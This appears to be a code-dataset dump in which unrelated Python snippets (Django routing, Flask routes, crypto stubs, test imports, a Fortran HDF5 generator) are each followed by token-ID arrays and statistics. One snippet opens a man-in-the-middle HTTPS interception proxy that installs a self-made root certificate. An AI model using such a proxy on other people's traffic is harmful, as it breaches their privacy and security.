651, 62, 20688, 62, 7753, 7203, 5097, 40, 13, 14116, 11074, 33491, 7203, 5097, 5064, 21713, 1600, 366, 5097, 40, 43145, 4943, 198, 220, 220, 220, 12972, 1383, 64, 13, 4177, 55, 13, 315, 66, 2197, 796, 3384, 66, 7, 4626, 11, 718, 11, 860, 11, 718, 11, 6885, 8, 198, 220, 220, 220, 40426, 796, 537, 72, 62, 48610, 13, 41341, 7, 66, 21471, 11, 1366, 8, 198, 220, 220, 220, 6818, 40426, 318, 407, 6045, 198 ]
2.446465
495
# -*- coding: utf-8 -*- """ Metaclass as interface for the health service """ from abc import ABCMeta, abstractmethod
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 9171, 330, 31172, 355, 7071, 329, 262, 1535, 2139, 198, 37811, 198, 198, 6738, 450, 66, 1330, 9738, 48526, 11, 12531, 24396, 628 ]
3.076923
39
# chat/routing.py from django.conf.urls import url from . import consumers websocket_urlpatterns = [ url(r'^api/ws/notifications', consumers.NotificationsConsumer), ]
[ 2, 8537, 14, 81, 13660, 13, 9078, 198, 6738, 42625, 14208, 13, 10414, 13, 6371, 82, 1330, 19016, 198, 198, 6738, 764, 1330, 7008, 198, 198, 732, 1443, 5459, 62, 6371, 33279, 82, 796, 685, 198, 220, 220, 220, 19016, 7, 81, 6, 61, 15042, 14, 18504, 14, 1662, 6637, 3256, 7008, 13, 3673, 6637, 49106, 828, 198, 60, 198 ]
2.883333
60
# (C) Copyright 2010-2020 Enthought, Inc., Austin, TX # All rights reserved. import copy from unittest import mock, TestCase from pyface.api import OK, CANCEL from pyface.file_dialog import FileDialog from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant from pyface.tasks.api import TaskWindow from force_bdss.tests.probe_classes.factory_registry import ( ProbeFactoryRegistry, ) from force_bdss.api import Workflow from force_wfmanager.tests.dummy_classes.dummy_contributed_ui import ( DummyContributedUI, ) from force_wfmanager.ui.review.data_view_pane import DataViewPane from force_wfmanager.ui.setup.setup_pane import SetupPane from force_wfmanager.ui.setup.side_pane import SidePane from force_wfmanager.ui.review.results_pane import ResultsPane from force_wfmanager.model.analysis_model import AnalysisModel from .mock_methods import mock_file_writer, mock_dialog, mock_return_args from force_wfmanager.tests.dummy_classes.dummy_wfmanager import DummyWfManager from force_wfmanager.wfmanager_review_task import WfManagerReviewTask from force_wfmanager.wfmanager_setup_task import WfManagerSetupTask FILE_DIALOG_PATH = "force_wfmanager.wfmanager_setup_task.FileDialog" RESULTS_FILE_DIALOG_PATH = "force_wfmanager.wfmanager_review_task.FileDialog" RESULTS_FILE_OPEN_PATH = "force_wfmanager.io.project_io.open" RESULTS_JSON_DUMP_PATH = "force_wfmanager.io.project_io.json.dump" RESULTS_JSON_LOAD_PATH = "force_wfmanager.io.project_io.json.load" RESULTS_WRITER_PATH = ( "force_wfmanager.io.project_io.WorkflowWriter.get_workflow_data" ) RESULTS_READER_PATH = "force_wfmanager.io.project_io.WorkflowReader" RESULTS_ERROR_PATH = "force_wfmanager.wfmanager_review_task.error" ANALYSIS_WRITE_PATH = ( "force_wfmanager.io.analysis_model_io.write_analysis_model" ) ANALYSIS_FILE_OPEN_PATH = "force_wfmanager.model.analysis_model.open"
[ 2, 220, 357, 34, 8, 15069, 3050, 12, 42334, 2039, 28895, 11, 3457, 1539, 9533, 11, 15326, 198, 2, 220, 1439, 2489, 10395, 13, 198, 198, 11748, 4866, 198, 6738, 555, 715, 395, 1330, 15290, 11, 6208, 20448, 198, 198, 6738, 12972, 2550, 13, 15042, 1330, 7477, 11, 15628, 34, 3698, 198, 6738, 12972, 2550, 13, 7753, 62, 38969, 519, 1330, 9220, 44204, 198, 6738, 12972, 2550, 13, 9019, 13, 39568, 19, 13, 22602, 13, 48317, 62, 9288, 62, 562, 10167, 1330, 1962, 72, 14402, 48902, 198, 6738, 12972, 2550, 13, 83, 6791, 13, 15042, 1330, 15941, 27703, 198, 198, 6738, 2700, 62, 17457, 824, 13, 41989, 13, 1676, 1350, 62, 37724, 13, 69, 9548, 62, 2301, 4592, 1330, 357, 198, 220, 220, 220, 42600, 22810, 8081, 4592, 11, 198, 8, 198, 6738, 2700, 62, 17457, 824, 13, 15042, 1330, 5521, 11125, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 41989, 13, 67, 13513, 62, 37724, 13, 67, 13513, 62, 3642, 6169, 62, 9019, 1330, 357, 198, 220, 220, 220, 360, 13513, 4264, 6169, 10080, 11, 198, 8, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 9019, 13, 19023, 13, 7890, 62, 1177, 62, 79, 1531, 1330, 6060, 7680, 47, 1531, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 9019, 13, 40406, 13, 40406, 62, 79, 1531, 1330, 31122, 47, 1531, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 9019, 13, 40406, 13, 1589, 62, 79, 1531, 1330, 12075, 47, 1531, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 9019, 13, 19023, 13, 43420, 62, 79, 1531, 1330, 15691, 47, 1531, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 19849, 13, 20930, 62, 19849, 1330, 14691, 17633, 198, 198, 6738, 764, 76, 735, 62, 24396, 82, 1330, 15290, 62, 7753, 62, 16002, 11, 15290, 62, 38969, 519, 11, 15290, 62, 7783, 62, 22046, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 41989, 13, 67, 13513, 62, 37724, 13, 67, 13513, 62, 86, 35826, 3536, 1330, 360, 13513, 54, 69, 13511, 198, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 86, 35826, 3536, 62, 19023, 62, 35943, 1330, 370, 69, 13511, 14832, 25714, 198, 6738, 2700, 62, 86, 35826, 3536, 13, 86, 35826, 3536, 62, 40406, 62, 35943, 1330, 370, 69, 13511, 40786, 25714, 198, 198, 25664, 62, 35, 12576, 7730, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 86, 35826, 3536, 62, 40406, 62, 35943, 13, 8979, 44204, 1, 198, 46274, 62, 25664, 62, 35, 12576, 7730, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 86, 35826, 3536, 62, 19023, 62, 35943, 13, 8979, 44204, 1, 198, 46274, 62, 25664, 62, 3185, 1677, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 16302, 62, 952, 13, 9654, 1, 198, 46274, 62, 40386, 62, 35, 20476, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 16302, 62, 952, 13, 17752, 13, 39455, 1, 198, 46274, 62, 40386, 62, 35613, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 16302, 62, 952, 13, 17752, 13, 2220, 1, 198, 46274, 62, 18564, 2043, 1137, 62, 34219, 796, 357, 198, 220, 220, 220, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 16302, 62, 952, 13, 12468, 11125, 34379, 13, 1136, 62, 1818, 11125, 62, 7890, 1, 198, 8, 198, 46274, 62, 15675, 1137, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 16302, 62, 952, 13, 12468, 11125, 33634, 1, 198, 46274, 62, 24908, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 86, 35826, 3536, 62, 19023, 62, 35943, 13, 18224, 1, 198, 1565, 1847, 16309, 1797, 62, 18564, 12709, 62, 34219, 796, 357, 198, 220, 220, 220, 366, 3174, 62, 86, 35826, 3536, 13, 952, 13, 20930, 62, 19849, 62, 952, 13, 13564, 62, 20930, 62, 19849, 1, 198, 8, 198, 1565, 1847, 16309, 1797, 62, 25664, 62, 3185, 1677, 62, 34219, 796, 366, 3174, 62, 86, 35826, 3536, 13, 19849, 13, 20930, 62, 19849, 13, 9654, 1, 628, 628 ]
2.812312
666
# -*- encoding: utf-8 -*- # # Copyright © 2017 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # NOTE(sileht): usefull for gunicon, not really for uwsgi # import gevent # import gevent.monkey # gevent.monkey.patch_all() import hmac import logging import os import flask import github import lz4.block import requests import rq import rq_dashboard import ujson from pastamaker import config from pastamaker import utils from pastamaker import worker LOG = logging.getLogger(__name__) app = flask.Flask(__name__) app.config.from_object(rq_dashboard.default_settings) app.register_blueprint(rq_dashboard.blueprint, url_prefix="/rq") app.config["REDIS_URL"] = utils.get_redis_url() app.config["RQ_POLL_INTERVAL"] = 10000 # ms @app.route("/auth", methods=["GET"]) @app.route("/refresh/<owner>/<repo>/<path:refresh_ref>", methods=["POST"]) @app.route("/refresh", methods=["POST"]) @app.route("/queue/<owner>/<repo>/<path:branch>") @app.route("/status") @app.route('/status/stream') @app.route("/event", methods=["POST"]) @app.route("/") @app.route("/favicon.ico") @app.route("/fonts/<file>") @app.route("/login") @app.route("/logged/<installation_id>")
[ 2, 532, 9, 12, 21004, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 198, 2, 15069, 10673, 2177, 2297, 10983, 11, 3457, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 198, 2, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 921, 743, 7330, 198, 2, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 42881, 198, 2, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 4091, 262, 198, 2, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 11247, 198, 2, 739, 262, 13789, 13, 198, 198, 2, 24550, 7, 82, 576, 4352, 2599, 779, 12853, 329, 2485, 4749, 11, 407, 1107, 329, 334, 18504, 12397, 198, 2, 1330, 4903, 1151, 198, 2, 1330, 4903, 1151, 13, 49572, 198, 2, 4903, 1151, 13, 49572, 13, 17147, 62, 439, 3419, 198, 198, 11748, 289, 20285, 198, 11748, 18931, 198, 11748, 28686, 198, 198, 11748, 42903, 198, 11748, 33084, 198, 11748, 300, 89, 19, 13, 9967, 198, 11748, 7007, 198, 11748, 374, 80, 198, 11748, 374, 80, 62, 42460, 3526, 198, 11748, 334, 17752, 198, 198, 6738, 1613, 321, 3110, 1330, 4566, 198, 6738, 1613, 321, 3110, 1330, 3384, 4487, 198, 6738, 1613, 321, 3110, 1330, 8383, 628, 198, 25294, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 1324, 796, 42903, 13, 7414, 2093, 7, 834, 3672, 834, 8, 198, 198, 1324, 13, 11250, 13, 6738, 62, 15252, 7, 81, 80, 62, 42460, 3526, 13, 12286, 62, 33692, 8, 198, 1324, 13, 30238, 62, 17585, 4798, 7, 81, 80, 62, 42460, 3526, 13, 17585, 4798, 11, 19016, 62, 40290, 35922, 81, 80, 4943, 198, 1324, 13, 11250, 14692, 22083, 1797, 62, 21886, 8973, 796, 3384, 4487, 13, 1136, 62, 445, 271, 62, 6371, 3419, 198, 1324, 13, 11250, 14692, 49, 48, 62, 16402, 3069, 62, 41358, 23428, 8973, 796, 33028, 220, 1303, 13845, 628, 628, 198, 31, 1324, 13, 38629, 7203, 14, 18439, 1600, 5050, 28, 14692, 18851, 8973, 8, 628, 198, 31, 1324, 13, 38629, 7203, 14, 5420, 3447, 14, 27, 18403, 29, 14, 27, 260, 7501, 29, 14, 27, 6978, 25, 5420, 3447, 62, 5420, 29, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5050, 28, 14692, 32782, 8973, 8, 628, 198, 31, 1324, 13, 38629, 7203, 14, 5420, 3447, 1600, 5050, 28, 14692, 32782, 8973, 8, 628, 198, 31, 1324, 13, 38629, 7203, 14, 36560, 14, 27, 18403, 29, 14, 27, 260, 7501, 29, 14, 27, 6978, 25, 1671, 3702, 29, 4943, 628, 198, 198, 31, 1324, 13, 38629, 7203, 14, 13376, 4943, 628, 628, 198, 31, 1324, 13, 38629, 10786, 14, 13376, 14, 5532, 11537, 628, 198, 31, 1324, 13, 38629, 7203, 14, 15596, 1600, 5050, 28, 14692, 32782, 8973, 8, 628, 198, 31, 1324, 13, 38629, 7203, 14, 4943, 628, 198, 31, 1324, 13, 38629, 7203, 14, 69, 615, 4749, 13, 3713, 4943, 628, 198, 31, 1324, 13, 38629, 7203, 14, 10331, 82, 14, 27, 7753, 29, 4943, 628, 198, 198, 31, 1324, 13, 38629, 7203, 14, 38235, 4943, 628, 198, 31, 1324, 13, 38629, 7203, 14, 6404, 2004, 14, 27, 17350, 341, 62, 312, 29, 4943, 198 ]
2.835821
603
# Generated by Django 3.2.6 on 2021-08-26 06:57 from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 513, 13, 17, 13, 21, 319, 33448, 12, 2919, 12, 2075, 9130, 25, 3553, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.84375
32
import functools from spaceone.api.inventory.v1 import network_pb2 from spaceone.core.pygrpc.message_type import * from spaceone.inventory.model.network_model import Network from spaceone.inventory.info.zone_info import ZoneInfo from spaceone.inventory.info.region_info import RegionInfo __all__ = ['NetworkInfo', 'NetworksInfo']
[ 11748, 1257, 310, 10141, 198, 198, 6738, 2272, 505, 13, 15042, 13, 24807, 13, 85, 16, 1330, 3127, 62, 40842, 17, 198, 6738, 2272, 505, 13, 7295, 13, 9078, 2164, 14751, 13, 20500, 62, 4906, 1330, 1635, 198, 6738, 2272, 505, 13, 24807, 13, 19849, 13, 27349, 62, 19849, 1330, 7311, 198, 6738, 2272, 505, 13, 24807, 13, 10951, 13, 11340, 62, 10951, 1330, 13035, 12360, 198, 6738, 2272, 505, 13, 24807, 13, 10951, 13, 36996, 62, 10951, 1330, 17718, 12360, 198, 198, 834, 439, 834, 796, 37250, 26245, 12360, 3256, 705, 7934, 5225, 12360, 20520, 628, 198 ]
3.408163
98
import sys import logging import math from pathlib import Path from pydantic import BaseModel from typing import * import PyPDF2 from reportlab.lib.units import mm, inch logging.basicConfig(format='%(asctime)s,%(msecs)d | %(levelname)-8s | %(filename)s:%(funcName)s:%(lineno)d - %(message)s', datefmt='%Y-%m-%d:%H:%M:%S', level=logging.DEBUG) log = logging.getLogger(__name__) pt2mm = 0.3527777778 if __name__ == "__main__": main() pass
[ 11748, 25064, 198, 11748, 18931, 198, 11748, 10688, 198, 6738, 3108, 8019, 1330, 10644, 198, 6738, 279, 5173, 5109, 1330, 7308, 17633, 198, 6738, 19720, 1330, 1635, 198, 198, 11748, 9485, 20456, 17, 198, 6738, 989, 23912, 13, 8019, 13, 41667, 1330, 8085, 11, 11111, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 18982, 11639, 4, 7, 292, 310, 524, 8, 82, 11, 4, 7, 76, 2363, 82, 8, 67, 930, 4064, 7, 5715, 3672, 13219, 23, 82, 930, 4064, 7, 34345, 8, 82, 25, 4, 7, 20786, 5376, 8, 82, 25, 4, 7, 2815, 23397, 8, 67, 532, 4064, 7, 20500, 8, 82, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3128, 69, 16762, 11639, 4, 56, 12, 4, 76, 12, 4, 67, 25, 4, 39, 25, 4, 44, 25, 4, 50, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1241, 28, 6404, 2667, 13, 30531, 8, 198, 198, 6404, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 457, 17, 3020, 796, 657, 13, 2327, 1983, 3324, 3324, 3695, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419, 198, 220, 220, 220, 1208, 198 ]
2.181416
226
#!/usr/bin/env python3 import sys; assert sys.version_info[0] >= 3, "Python 3 required." from .group_hash import group_hash from .pallas import Fp, Scalar from .sinsemilla import sinsemilla_hash_to_point from ..utils import i2lebsp # Commitment schemes used in Orchard https://zips.z.cash/protocol/nu5.pdf#concretecommit # https://zips.z.cash/protocol/nu5.pdf#constants L_ORCHARD_BASE = 255 # https://zips.z.cash/protocol/nu5.pdf#concretehomomorphiccommit # https://zips.z.cash/protocol/nu5.pdf#concretesinsemillacommit # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit # Test consistency of ValueCommit^{Orchard} with precomputed generators if __name__ == '__main__': test_value_commit()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 11748, 25064, 26, 6818, 25064, 13, 9641, 62, 10951, 58, 15, 60, 18189, 513, 11, 366, 37906, 513, 2672, 526, 198, 198, 6738, 764, 8094, 62, 17831, 1330, 1448, 62, 17831, 198, 6738, 764, 79, 7826, 1330, 376, 79, 11, 34529, 283, 198, 6738, 764, 31369, 43616, 5049, 1330, 7813, 43616, 5049, 62, 17831, 62, 1462, 62, 4122, 198, 6738, 11485, 26791, 1330, 1312, 17, 293, 24145, 198, 198, 2, 35910, 434, 16546, 973, 287, 1471, 30215, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 1102, 38669, 41509, 198, 198, 2, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 9979, 1187, 198, 43, 62, 1581, 3398, 9795, 62, 33, 11159, 796, 14280, 198, 198, 2, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 1102, 38669, 26452, 46374, 41509, 198, 198, 2, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 1102, 66, 1186, 274, 38521, 17805, 330, 2002, 270, 198, 198, 2, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 1102, 38669, 273, 30215, 1662, 721, 2002, 270, 198, 198, 2, 3740, 1378, 89, 2419, 13, 89, 13, 30350, 14, 11235, 4668, 14, 28803, 20, 13, 12315, 2, 1102, 38669, 273, 30215, 1662, 721, 2002, 270, 198, 198, 2, 6208, 15794, 286, 11052, 6935, 270, 36796, 5574, 30215, 92, 351, 662, 785, 17128, 27298, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1332, 62, 8367, 62, 41509, 3419, 198 ]
2.687285
291
# coding:utf-8 import logging import os import select import zlib import chardet import time from http.client import HTTPResponse from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn from urllib.parse import urlparse, ParseResult, urlunparse from tempfile import gettempdir from ssl import wrap_socket, SSLError from socket import socket from OpenSSL.crypto import ( load_certificate, FILETYPE_PEM, TYPE_RSA, PKey, X509, X509Extension, dump_privatekey, dump_certificate, load_privatekey, X509Req, ) """ 该文件并未项目核心功能,仅作辅助脚本使用 感谢baseproxy项目。原项目地址https://github.com/qiyeboy/BaseProxy,具体详细操作方法请见原项目,步骤简述如下 1. 设置代理,开启服务 2. 下载证书http://baseproxy.ca/,并安装至本机(受信任的根证书颁发机构) 3. 配置完成,每次使用之前开启系统代理即可 为方便使用,在代码上进行了一定的修改,大部分内容来源于,https://github.com/qiyeboy/BaseProxy/blob/master/baseproxy/proxy.py 1. 修改部分函数名,变量名,函数,尽量保持与mitmproxy一致 2. 由于项目主要目的是拦截,并非篡改,增加了对链接过滤功能。若链接不包含相关字符,则不做操作,直接返回。ProxyHandle中的`self.filter_url_lst` 二次引用,若有冒犯原作者之处,敬请指出,将删除该文件。 """ __all__ = [ "CAAuth", "ProxyHandle", "ReqIntercept", "RspIntercept", "MitmProxy", "AsyncMitmProxy", "Request", "Response", ] logging.basicConfig( level=logging.INFO, format="[%(asctime)s] %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) class CAAuth(object): """ 用于CA证书的生成以及代理证书的自签名 """ @property
[ 2, 19617, 25, 40477, 12, 23, 198, 11748, 18931, 198, 11748, 28686, 198, 11748, 2922, 198, 11748, 1976, 8019, 198, 198, 11748, 442, 446, 316, 198, 11748, 640, 198, 6738, 2638, 13, 16366, 1330, 7154, 51, 4805, 9774, 2591, 198, 6738, 2638, 13, 15388, 1330, 7308, 40717, 18453, 25060, 11, 38288, 18497, 198, 6738, 37037, 18497, 1330, 14122, 278, 35608, 818, 198, 6738, 2956, 297, 571, 13, 29572, 1330, 19016, 29572, 11, 2547, 325, 23004, 11, 19016, 403, 29572, 198, 6738, 20218, 7753, 1330, 651, 29510, 15908, 198, 198, 6738, 264, 6649, 1330, 14441, 62, 44971, 11, 6723, 2538, 81, 1472, 198, 6738, 17802, 1330, 17802, 198, 6738, 4946, 31127, 13, 29609, 78, 1330, 357, 198, 220, 220, 220, 3440, 62, 22583, 22460, 11, 198, 220, 220, 220, 45811, 25216, 62, 47, 3620, 11, 198, 220, 220, 220, 41876, 62, 49, 4090, 11, 198, 220, 220, 220, 350, 9218, 11, 198, 220, 220, 220, 1395, 29022, 11, 198, 220, 220, 220, 1395, 29022, 11627, 3004, 11, 198, 220, 220, 220, 10285, 62, 19734, 2539, 11, 198, 220, 220, 220, 10285, 62, 22583, 22460, 11, 198, 220, 220, 220, 3440, 62, 19734, 2539, 11, 198, 220, 220, 220, 1395, 29022, 3041, 80, 11, 198, 8, 198, 198, 37811, 198, 46237, 98, 23877, 229, 20015, 114, 33176, 114, 17312, 103, 165, 94, 117, 33566, 106, 43718, 116, 33232, 225, 27950, 253, 47797, 121, 171, 120, 234, 20015, 227, 43291, 164, 122, 227, 27950, 102, 164, 226, 248, 17312, 105, 45635, 18796, 101, 198, 35707, 253, 164, 108, 95, 12093, 538, 42059, 165, 94, 117, 33566, 106, 16764, 43889, 253, 165, 94, 117, 33566, 106, 28839, 108, 161, 251, 222, 5450, 1378, 12567, 13, 785, 14, 80, 7745, 1765, 726, 14, 14881, 44148, 171, 120, 234, 17739, 115, 19526, 241, 46237, 99, 163, 119, 228, 162, 241, 235, 43291, 43095, 37345, 243, 46237, 115, 164, 100, 223, 43889, 253, 165, 94, 117, 33566, 106, 171, 120, 234, 29826, 98, 165, 103, 97, 163, 106, 222, 32573, 108, 36685, 224, 10310, 233, 198, 220, 220, 220, 352, 13, 5525, 106, 122, 163, 121, 106, 47987, 49426, 228, 171, 120, 234, 28156, 222, 28938, 107, 17312, 235, 27950, 94, 198, 220, 220, 220, 362, 13, 220, 10310, 233, 164, 121, 121, 46237, 223, 20046, 99, 4023, 1378, 12093, 538, 42059, 13, 6888, 14, 171, 120, 234, 33176, 114, 22522, 231, 35318, 164, 229, 111, 17312, 105, 17312, 118, 7, 20998, 245, 46479, 94, 20015, 119, 21410, 43718, 117, 46237, 223, 20046, 99, 165, 95, 223, 20998, 239, 17312, 118, 162, 252, 226, 8, 198, 220, 220, 220, 513, 13, 16268, 227, 235, 163, 121, 106, 22522, 234, 22755, 238, 171, 120, 234, 162, 107, 237, 162, 105, 94, 45635, 18796, 101, 45298, 30298, 235, 28156, 222, 28938, 107, 163, 111, 119, 163, 119, 253, 47987, 49426, 228, 39355, 111, 20998, 107, 198, 10310, 118, 43095, 160, 122, 123, 45635, 18796, 101, 171, 120, 234, 28839, 101, 47987, 163, 254, 223, 41468, 32573, 249, 26193, 234, 12859, 228, 31660, 22522, 248, 21410, 46479, 106, 162, 242, 117, 171, 120, 234, 32014, 32849, 101, 26344, 228, 37863, 227, 22522, 117, 30266, 98, 162, 118, 238, 12859, 236, 171, 120, 234, 5450, 1378, 12567, 13, 785, 14, 80, 7745, 1765, 726, 14, 14881, 44148, 14, 2436, 672, 14, 9866, 14, 12093, 538, 42059, 14, 36436, 13, 9078, 198, 220, 220, 220, 352, 13, 220, 46479, 106, 162, 242, 117, 32849, 101, 26344, 228, 49035, 121, 46763, 108, 28938, 235, 171, 120, 234, 20998, 246, 34932, 237, 28938, 235, 171, 120, 234, 49035, 121, 46763, 108, 171, 120, 234, 22887, 121, 34932, 237, 46479, 251, 162, 234, 223, 10310, 236, 2781, 76, 36436, 31660, 164, 229, 112, 198, 220, 220, 220, 362, 13, 13328, 242, 109, 12859, 236, 165, 94, 117, 33566, 106, 10310, 119, 17358, 223, 33566, 106, 21410, 42468, 162, 233, 99, 22755, 103, 171, 120, 234, 33176, 114, 165, 251, 252, 163, 107, 94, 162, 242, 117, 171, 120, 234, 161, 95, 252, 27950, 254, 12859, 228, 43380, 117, 165, 241, 122, 162, 236, 98, 32573, 229, 162, 119, 97, 27950, 253, 47797, 121, 16764, 164, 233, 98, 165, 241, 122, 162, 236, 98, 38834, 44293, 227, 28938, 104, 33566, 116, 17739, 111, 27764, 245, 163, 105, 99, 171, 120, 234, 26344, 247, 38834, 161, 223, 248, 162, 241, 235, 43291, 171, 120, 234, 33566, 112, 162, 236, 98, 32573, 242, 32368, 252, 16764, 44148, 37508, 40792, 21410, 63, 944, 13, 24455, 62, 6371, 62, 75, 301, 63, 628, 198, 12859, 234, 162, 105, 94, 28156, 243, 18796, 101, 171, 120, 234, 164, 233, 98, 17312, 231, 161, 10253, 163, 232, 107, 43889, 253, 43291, 38519, 45298, 13783, 226, 171, 120, 234, 46763, 105, 46237, 115, 162, 234, 229, 49035, 118, 171, 120, 234, 49546, 26344, 254, 165, 247, 97, 46237, 98, 23877, 229, 20015, 114, 16764, 198, 37811, 198, 198, 834, 439, 834, 796, 685, 198, 220, 220, 220, 366, 34, 3838, 1071, 1600, 198, 220, 220, 220, 366, 44148, 37508, 1600, 198, 220, 220, 220, 366, 3041, 80, 9492, 984, 1600, 198, 220, 220, 220, 366, 49, 2777, 9492, 984, 1600, 198, 220, 220, 220, 366, 43339, 76, 44148, 1600, 198, 220, 220, 220, 366, 42367, 43339, 76, 44148, 1600, 198, 220, 220, 220, 366, 18453, 1600, 198, 220, 220, 220, 366, 31077, 1600, 198, 60, 198, 6404, 2667, 13, 35487, 16934, 7, 198, 220, 220, 220, 1241, 28, 6404, 2667, 13, 10778, 11, 198, 220, 220, 220, 5794, 2625, 58, 4, 7, 292, 310, 524, 8, 82, 60, 4064, 7, 5715, 3672, 8, 82, 4064, 7, 20500, 8, 82, 1600, 198, 220, 220, 220, 3128, 69, 16762, 2625, 4, 56, 12, 4, 76, 12, 4, 67, 4064, 39, 25, 4, 44, 25, 4, 50, 1600, 198, 8, 628, 628, 198, 198, 4871, 327, 3838, 1071, 7, 15252, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13328, 242, 101, 12859, 236, 8141, 46237, 223, 20046, 99, 21410, 37955, 22755, 238, 20015, 98, 20998, 232, 47987, 49426, 228, 46237, 223, 20046, 99, 21410, 164, 229, 103, 163, 255, 122, 28938, 235, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2488, 26745, 628, 628, 628, 198 ]
1.381413
1,033
#!/usr/bin/env python # Copyright 2011-2013 Pierre de Buyl # # This file is part of f90h5md # # f90h5md is free software and is licensed under the modified BSD license (see # LICENSE file). types = dict() types['i'] = 'integer' types['d'] = 'double precision' H5T = dict() H5T['i'] = 'H5T_NATIVE_INTEGER' H5T['d'] = 'H5T_NATIVE_DOUBLE' dims = dict() dims['s'] = '' dims['1'] = '(:)' dims['2'] = '(:,:)' dims['3'] = '(:,:,:)' dims['4'] = '(:,:,:,:)' for t_k,t_v in types.iteritems(): for d_k,d_v in dims.iteritems(): if (d_k == 's'): rank = 1 else: rank = int(d_k)+1 s='' s+=""" !> Sets up a h5md_t variable. !! @param file_id ID of the file. !! @param name Name of the observable !! @param ID Resulting h5md_t variable !! @param data The data that will fit into the observable. !! @param link_from Indicates if the step and time for this observable should be linked from another one. !! @param override_obs Indicates if the data should be stored outside of /observables. !! @private""" s+=""" subroutine h5md_create_obs_%s%s(file_id, name, ID, data, link_from, override_obs) integer(HID_T), intent(inout) :: file_id character(len=*), intent(in) :: name type(h5md_t), intent(out) :: ID %s, intent(in) :: data%s character(len=*), intent(in), optional :: link_from character(len=*), intent(in), optional :: override_obs integer(HID_T) :: file_s, plist, g_id integer(HSIZE_T), allocatable :: dims(:), max_dims(:), chunk_dims(:) integer :: rank character(len=64) :: g_name if (present(override_obs)) then g_name = override_obs else g_name = 'observables' end if call h5gcreate_f(file_id, trim(g_name)//'/'//name, g_id, h5_error) rank = %i allocate(dims(rank)) ; allocate(max_dims(rank)) ; allocate(chunk_dims(rank)) """ % (t_k,d_k, t_v, d_v, rank ) if (d_k!='s'): s+=""" dims(1:%i) = shape(data) max_dims(1:%i) = shape(data) chunk_dims(1:%i) = shape(data) """ % (rank-1, rank-1, rank-1) s+=""" dims(%i) = 0 max_dims(%i) = H5S_UNLIMITED_F call h5screate_simple_f(rank, dims, file_s, h5_error, max_dims) chunk_dims(%i) = 128 call h5pcreate_f(H5P_DATASET_CREATE_F, plist, h5_error) call 